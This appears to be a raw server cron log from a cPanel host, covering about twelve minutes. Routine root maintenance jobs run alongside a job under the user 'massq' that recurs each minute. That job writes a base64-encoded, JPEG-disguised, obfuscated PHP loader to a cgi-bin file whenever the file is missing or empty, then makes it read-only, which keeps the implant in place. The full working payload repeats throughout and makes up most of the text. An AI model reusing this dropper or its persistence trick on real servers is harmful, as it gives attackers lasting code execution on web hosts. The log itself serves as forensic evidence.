Sep  8 17:40:01 server CROND[17581]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:40:01 server CROND[17582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:40:01 server CROND[17586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:40:01 server CROND[17584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:41:01 server CROND[18403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:41:01 server CROND[18404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:41:01 server CROND[18405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:42:01 server CROND[18791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:42:01 server CROND[18793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:42:01 server CROND[18792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:42:01 server CROND[18794]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 17:43:01 server CROND[19169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:43:01 server CROND[19170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:43:01 server CROND[19171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:44:01 server CROND[19642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:44:01 server CROND[19643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:44:01 server CROND[19644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:45:01 server CROND[20029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:45:01 server CROND[20032]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 17:45:01 server CROND[20034]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:45:01 server CROND[20035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:45:01 server CROND[20036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:45:01 server CROND[20040]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 17:45:01 server CROND[20038]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:46:01 server CROND[20865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:46:01 server CROND[20866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:46:01 server CROND[20867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:47:01 server CROND[21228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:47:01 server CROND[21229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:47:01 server CROND[21230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:48:01 server CROND[21599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:48:01 server CROND[21600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:48:01 server CROND[21601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:49:01 server CROND[22069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:49:01 server CROND[22070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:49:01 server CROND[22072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:50:01 server CROND[22473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:50:01 server CROND[22474]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 17:50:01 server CROND[22477]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 17:50:01 server CROND[22479]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 17:50:01 server CROND[22482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:50:01 server CROND[22483]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 17:50:01 server CROND[22484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:50:01 server CROND[22485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:50:01 server CROND[22476]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:51:01 server CROND[23505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:51:01 server CROND[23504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:51:01 server CROND[23506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:52:01 server CROND[23883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
